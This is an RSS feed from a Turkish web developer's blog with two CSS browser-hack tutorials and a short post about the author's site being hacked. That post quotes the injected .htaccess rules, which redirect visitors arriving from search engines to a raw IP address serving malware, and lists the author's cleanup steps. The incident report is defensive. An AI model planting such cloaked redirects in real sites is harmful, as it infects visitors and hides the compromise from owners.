<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Fatih Hayrioğlu&#039;nun not defteri &#187; hack</title>
	<atom:link href="http://www.fatihhayrioglu.com/tag/hack/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fatihhayrioglu.com</link>
	<description>{ CSS, HTML ve Javascript }</description>
	<lastBuildDate>Thu, 09 Feb 2012 08:44:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=2012</generator>
		<item>
		<title>Tüm tarayıcılar için CSS Düzeltmeleri(Hack)</title>
		<link>http://www.fatihhayrioglu.com/tum-tarayicilar-icin-css-duzeltmelerihack/</link>
		<comments>http://www.fatihhayrioglu.com/tum-tarayicilar-icin-css-duzeltmelerihack/#comments</comments>
		<pubDate>Tue, 02 Dec 2008 22:25:55 +0000</pubDate>
		<dc:creator>fatih.hayrioglu</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[css düzeltmeleri]]></category>
		<category><![CDATA[düzeltme]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[ipucu]]></category>
		<category><![CDATA[kod-gizlemek]]></category>

		<guid isPermaLink="false">http://www.fatihhayrioglu.com/?p=797</guid>
		<description><![CDATA[CSS ile web sayfası kodlarken bizi en çok zorlayan konulardan biri daha önceki yazılarımda bahsettiğim gibi farklı tarayıcı sürümlerine göre kod yazmaktır. CSS ile kod yazarken bazı durumlarda kodumuz bir tarayıcı grubunda düzgün görünürken başka bir tarayıcı grubunda farklı görüntülenir, tabi biz yaptığımız sitelerin kullanıcılar tarafından tarayıcısı ne olursa olsun aynı görünmesini isteriz. Bu gibi [...]]]></description>
			<content:encoded><![CDATA[<p>CSS ile web sayfası kodlarken bizi  en çok zorlayan konulardan biri daha önceki yazılarımda bahsettiğim  gibi farklı tarayıcı sürümlerine göre kod yazmaktır. CSS ile kod  yazarken bazı durumlarda kodumuz bir tarayıcı grubunda düzgün  görünürken başka bir tarayıcı grubunda farklı görüntülenir, tabi biz  yaptığımız sitelerin kullanıcılar tarafından tarayıcısı ne olursa olsun  aynı görünmesini isteriz. Bu gibi durumlarda kullandığımız yöntem  aslında çok basit bir tekniktir. Hangi tarayıcıda farklı görünüyorsa  onun için farklı kod yazarız ve bunu diğer tarayıcıların görmeyeceği  kod bloğu içinde yazarız.</p>
<p><a href="http://www.fatihhayrioglu.com/css-dersleri/" title="CSS Derslerindeki">CSS Derslerindeki</a> CSS Sorunları ve Çözüm Önerileri kısmındaki birçok yöntemin ana mantığıda budur. </p>
<p>Farklı tarayıcılar için  düzenleme(hack) yazarken genel anlamda iki farklı yöntem kullanırız.  Farklı css dosyaları hazırlayıp bunları eklerken şartlı yorumlar  yardımı ile farklı tarayıcılar için farklı css kodlarını gösteririz,  ikinci yöntem ise kod içerisinde o tarayıcının gördüğü kod bloğu içinde  ona göre kod yazarız. Burada birinci yöntemi(<a href="http://www.fatihhayrioglu.com/iede-hata-ayiklamak-icin-sartli-yorumlar-kullanmak/" title="IE’de Hata Ayıklamak için şartlı Yorumlar Kullanmak">IE&#8217;de Hata Ayıklamak için şartlı Yorumlar Kullanmak</a>) daha önce anlatmıştık. Bu yazımızda kod içindeki css düzeltmelerinden bahsedeceğiz.</p>
<p>CSS kodu içinde farklı tarayıcılar için farklı kod yazmanın en kolay yolu, tarayıcılara özel seçiciler içine kod yazmaktır. </p>
<p><span id="more-797"></span></p>
<p><strong>Tarayıcılara Özel Seçiciler</strong></p>
<p>IE 6 ve altı</p>
<pre class="brush: css; title: ; notranslate">* html {}</pre>
<p>IE 7 ve altı</p>
<pre class="brush: css; title: ; notranslate">*:first-child+html {} * html {}</pre>
<p>sadece IE 7 için</p>
<pre class="brush: css; title: ; notranslate">*:first-child+html {}</pre>
<p>IE 7 ve yeni nesil tarayıcılar için</p>
<pre class="brush: css; title: ; notranslate">html&gt;body {}</pre>
<p>Yalnız yeni nesil tarayıcılar için (IE 7 dışında)</p>
<pre class="brush: css; title: ; notranslate">html&gt;/**/body {}</pre>
<p>sadece IE 8 için</p>
<pre class="brush: css; title: ; notranslate">.test { property:value; property: value\9; *property: value; }</pre>
<p>Opera 9 ve altı sürümler için</p>
<pre class="brush: css; title: ; notranslate">html:first-child {}</pre>
<p>Safari </p>
<pre class="brush: css; title: ; notranslate">html[xmlns*=&quot;&quot;] body:last-child {}</pre>
<p>Google Chrome and Safari 3.1</p>
<pre class="brush: css; title: ; notranslate">body:nth-of-type(1){}</pre>
<p>Firefox 2</p>
<pre class="brush: css; title: ; notranslate">.foo, x:-moz-any-link { } </pre>
<p>FireFox 3</p>
<pre class="brush: css; title: ; notranslate">.foo, x:-moz-any-link, x:default { }</pre>
<p style="color:#f00;">Firefox 2 ve 3 için yazdığımız kodu ie 7 de yorumluyor bunu engellemek için (Sonradan eklenmiştir.)</p>
<pre class="brush: css; title: ; notranslate">
	.foo, x:-moz-any-link { }
    .foo, x:-moz-any-link, x:default { }
    *:first-child+html .foo{}/*ie7 icin normali yazin*/
</pre>
<p>Sadece Firefox 3</p>
<pre class="brush: css; title: ; notranslate">html&gt;;/**/body .foo, x:-moz-any-link, x:default { }</pre>
<p>Burada önemli  olan her tarayıcı farklı görünümünde bu metoda başvurmamak gerekir,  çözümü olmayan sorunlarla karşılaştığımızda bu kodları kullanmalıyız. </p>
<p>Bu kodları kullanma gereksinim genelde Internet Explorer 6 ve 7  için oluyor. Ama nadirende olsa diğer tarayıcıların düzeltmeleride  lazım oluyor. Bir örnek yapalım</p>
<pre class="brush: css; title: ; notranslate">
/* Firefox 1 */
.ozelSecici, x:-moz-any-link {
    background-color:#ffd560;
}
/* Firefox 2 */
.ozelSecici, x:-moz-any-link {
    background-color:#ab1b0b;
}
/* Firefox 3 */
.ozelSecici, x:-moz-any-link, x:default {
    background-color:#e6831f;
}
/* Google Chrome and Safari 3.1 */
body:nth-of-type(1) .ozelSecici{
   background-color:#e6f0fa;
}
/* Opera 9 ve altı */
html:first-child .ozelSecici{
    background-color:#a91614;
}
/* ie7 icin */
*:first-child+html .ozelSecici{
    background-color:#0098de;
}
/* ie 7 ve alt sürümler icin */
*:first-child+html .ozelSecici{
    background-color:#d4d0c8;
}
* html .ozelSecici{
    background-color:#d4d0c8;
}
/* ie6 ve alti */
* html .ozelSecici{
    background-color:#996666;
}</pre>
<p>HTML kodu </p>
<pre class="brush: xml; title: ; notranslate">&lt;p class=&quot;ozelSecici&quot;&gt;Tarayıcı&lt;/p&gt;</pre>
<p>Örneği görmek için <a title="tıklayınız." href="http://www.fatihhayrioglu.com/dokumanlar/css_duzeltme.html">tıklayınız.</a></p>
<p>Aynı XHTML kodu için aşağıdaki gibi farklı tarayıcılarda farklı sonuçları alırız.</p>
<p><img src="/images/tarayici_tes.jpg" /></p>
<p>Sayfa Google Chrome 0.3.154.9, Safari 3.1.2, Firefox 3.0.4/2.0.0.14, Internet Explorer 7/6/5.5, Opera 9.6 ile test edilmiştir.</p>
<ul>
<li> <a title="http://www.webdevout.net/css-hacks" href="http://www.webdevout.net/css-hacks">http://www.webdevout.net/css-hacks</a> (*****)</li>
<li><a title="http://www.javascriptkit.com/dhtmltutors/csshacks2.shtml" href="http://www.javascriptkit.com/dhtmltutors/csshacks2.shtml">http://www.javascriptkit.com/dhtmltutors/csshacks2.shtml</a> </li>
<li> <a title="http://vikaskhera.wordpress.com/2008/08/02/css-hacks-browser-specific-selectors/" href="http://vikaskhera.wordpress.com/2008/08/02/css-hacks-browser-specific-selectors/">http://vikaskhera.wordpress.com/2008/08/02/css-hacks-browser-specific-selectors/</a> (****) </li>
<li> <a title="http://centricle.com/ref/css/filters/" href="http://centricle.com/ref/css/filters/">http://centricle.com/ref/css/filters/</a> Önemli bir liste(****)</li>
<li><a title="http://www.siberkultur.com/?q=css-hackleri" href="http://www.siberkultur.com/?q=css-hackleri">http://www.siberkultur.com/?q=css-hackleri</a> (***) </li>
<li> <a title="http://www.sitepoint.com/article/browser-specific-css-hacks/" href="http://www.sitepoint.com/article/browser-specific-css-hacks/">http://www.sitepoint.com/article/browser-specific-css-hacks/</a> (***) sürümler eski </li>
<li> <a title="http://www.artypapers.com/csshelppile/category.php?2" href="http://www.artypapers.com/csshelppile/category.php?2">http://www.artypapers.com/csshelppile/category.php?2</a></li>
<li> <a title="http://rafael.adm.br/css_browser_selector/" href="http://rafael.adm.br/css_browser_selector/">http://rafael.adm.br/css_browser_selector/</a></li>
<li> <a title="http://css-discuss.incutio.com/?page=CssHack" href="http://css-discuss.incutio.com/?page=CssHack">http://css-discuss.incutio.com/?page=CssHack</a></li>
<li> <a title="http://snipplr.com/view/7043/firefox-3-css-hack/" href="http://snipplr.com/view/7043/firefox-3-css-hack/">http://snipplr.com/view/7043/firefox-3-css-hack/</a></li>
<li> <a title="http://pornel.net/firefoxhack" href="http://pornel.net/firefoxhack">http://pornel.net/firefoxhack</a></li>
<li> <a title="http://www.nealgrosskopf.com/tech/thread.asp?pid=20" href="http://www.nealgrosskopf.com/tech/thread.asp?pid=20">http://www.nealgrosskopf.com/tech/thread.asp?pid=20</a></li>
<li> <a title="http://snipplr.com/search.php?q=CSS+hack&#038;btnsearch=go" href="http://snipplr.com/search.php?q=CSS+hack&#038;btnsearch=go">http://snipplr.com/search.php?q=CSS+hack&amp;btnsearch=go</a></li>
<li> <a title="http://fu2k.org/alex/css/hacks/fuzzyspecificity" href="http://fu2k.org/alex/css/hacks/fuzzyspecificity">http://fu2k.org/alex/css/hacks/fuzzyspecificity</a>  </li>
<li><a href="http://dimox.net/personal-css-hacks-for-ie6-ie7-ie8/">http://dimox.net/personal-css-hacks-for-ie6-ie7-ie8/</a> (ie6, ie7, ie8 ve ie9)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.fatihhayrioglu.com/tum-tarayicilar-icin-css-duzeltmelerihack/feed/</wfw:commentRss>
		<slash:comments>40</slash:comments>
		</item>
		<item>
		<title>Hacklendik</title>
		<link>http://www.fatihhayrioglu.com/hacklendik/</link>
		<comments>http://www.fatihhayrioglu.com/hacklendik/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 20:15:25 +0000</pubDate>
		<dc:creator>fatih.hayrioglu</dc:creator>
				<category><![CDATA[Haberler]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.fatihhayrioglu.com/?p=770</guid>
		<description><![CDATA[Bu gün siteme girmeye çalışan Firefox ve Google üzerinden girmeye çalışanların karşılaştığı bir sorun sitem zararlı içerik olduğu için engellenmiş. Aslında tüm arama sitelerinden gelen yönlendirmeler de aynı sorun varmış. En sonunda anladım. Uzun aramalar sonunda http://wordpress.org/support/topic/217700 Bu linkdeki bilgiler doğrultusunda htcaacces içine girilen yönlendirme kodu nedeni ile yaşamışım bu sorunları. Ayrıca yazılarımın için yerleştirilmiş [...]]]></description>
			<content:encoded><![CDATA[<p>Bu gün siteme girmeye çalışan Firefox ve Google üzerinden girmeye çalışanların karşılaştığı bir sorun sitem zararlı içerik olduğu için engellenmiş. Aslında tüm arama sitelerinden gelen yönlendirmeler de aynı sorun varmış. En sonunda anladım. Uzun aramalar sonunda <a href="http://wordpress.org/support/topic/217700">http://wordpress.org/support/topic/217700</a> Bu linkdeki bilgiler doğrultusunda htcaacces içine girilen<br />
yönlendirme kodu nedeni ile yaşamışım bu sorunları.</p>
<p>Ayrıca yazılarımın için yerleştirilmiş bir iframe reklam linkeleri de var tabi.</p>
<p>Yukarıdaki linkdeki işlemleri tek tek yaptım</p>
<p>- htaccess dosyasını sildim.<br />
- ftp şifremi değiştirdim<br />
- hostingh firmamdan sitemin bulnduğu klasörü bir virüs, malware taramasından geçirmelerini istedim.</p>
<p>Sorunun ana nedeni htaccess dosyasında ki kodlar olarak görünüyor. Başta uzunca bir boşluktan sonra aşağıdaki kod yazıyordu.</p>
<p>RewriteEngine On<br />
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]<br />
RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]</p>
<p>Bu arada cute ftp&#8217;de htaccess görüntülemeyide öğrendik.<br />
<a href="http://blog.youontop.com/server-issues/view-htaccess-hidden-files-in-cuteftp-38.html">http://blog.youontop.com/server-issues/view-htaccess-hidden-files-in-cuteftp-38.html</a></p>
<p>Muhtemelen sorun haftasonu benim kalıcı bağlantılarım gittinde oldu ve ben bunu anlamadım. Asıl sorunun ise sitemi yahoo.com&#8217;da aradığımda karşılaştım, linke tıkladığımda bilgisayarıma zararlı yazılım eklemeye çalıştı. Zaten yukarıdaki kodda da bu açıkça görülüyor, siteme direk girişlerde değilde arama sonuçlarından gelince yüklenmeye çalışıyor. Ama hesap edemedikleri şey google&#8217;un bunu görüp sitemi kapatması. Google&#8217;un ve Firefox&#8217;un sitemi engellemeleri daha bitmedi. Google Web Yöneticis aracındaki incelemeye alın işaret kutunu işaretledim  ve  StopBadware.org&#8217;daki formuda doldurdum. Neyse hayırlısı bakalım. </p>
<p>Bu durumu gören ve beni uyaran tüm arkadaşlara teşekkürler. Umarım bu tip sorunlarla bi daha karşılaşmayız.</p>
<h3 style="color:#f00">Ek olarak</h3>
<p>Ayrıca </p>
<p>http://www.fatihhayrioglu.com/?ref=siteAdi</p>
<p>gibi linkler var. Bunlarıda robots.txt</p>
<p>User-agent: *<br />
Disallow: /*ref=*<br />
Disallow: /*?ref=</p>
<p>kodlarını ekleyerek düzelttim. İşin ilginci bu linkleri google&#8217;un arama aracı nasıl buluyor.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fatihhayrioglu.com/hacklendik/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Css de kodumuzu İE6&#8242;dan gizleme</title>
		<link>http://www.fatihhayrioglu.com/css-de-kodumuzu-ieden-gizleme/</link>
		<comments>http://www.fatihhayrioglu.com/css-de-kodumuzu-ieden-gizleme/#comments</comments>
		<pubDate>Wed, 03 May 2006 21:11:01 +0000</pubDate>
		<dc:creator>fatih.hayrioglu</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[düzeltme]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[gizle]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[ie6]]></category>
		<category><![CDATA[important]]></category>
		<category><![CDATA[internet explorer]]></category>

		<guid isPermaLink="false">http://www.fatihhayrioglu.com/?p=31</guid>
		<description><![CDATA[Bir kodu İE&#8217;den gizlemek istiyorsak sayfa için kullandığımız paragraflar ie6 mavi ff kırmızı görünecektir. !important css ile etkinlik için kullanılan bir etikettir. !important tanımlı özellik daha önce yapılmış aynı özelliğin üzerine çıkar. CSS ile etkinlik hakkında daha fazla bilgi için tıklayınız.]]></description>
			<content:encoded><![CDATA[<p>Bir kodu İE&#8217;den gizlemek istiyorsak</p>
<pre class="brush: css; title: ; notranslate">
p{
	color:red !important; /* bu kısmı ie6 görmeyecek*/
	color:blue;
}
</pre>
<p>sayfa için kullandığımız paragraflar ie6 mavi ff kırmızı görünecektir.</p>
<p>!important css ile etkinlik için kullanılan bir etikettir. !important tanımlı özellik daha önce yapılmış aynı özelliğin üzerine çıkar. CSS ile etkinlik hakkında daha fazla bilgi için <a href="http://www.fatihhayrioglu.com/cssde-tanimlamalar-ve-etkinliklerispecificity">tıklayınız.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fatihhayrioglu.com/css-de-kodumuzu-ieden-gizleme/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
	</channel>
</rss>

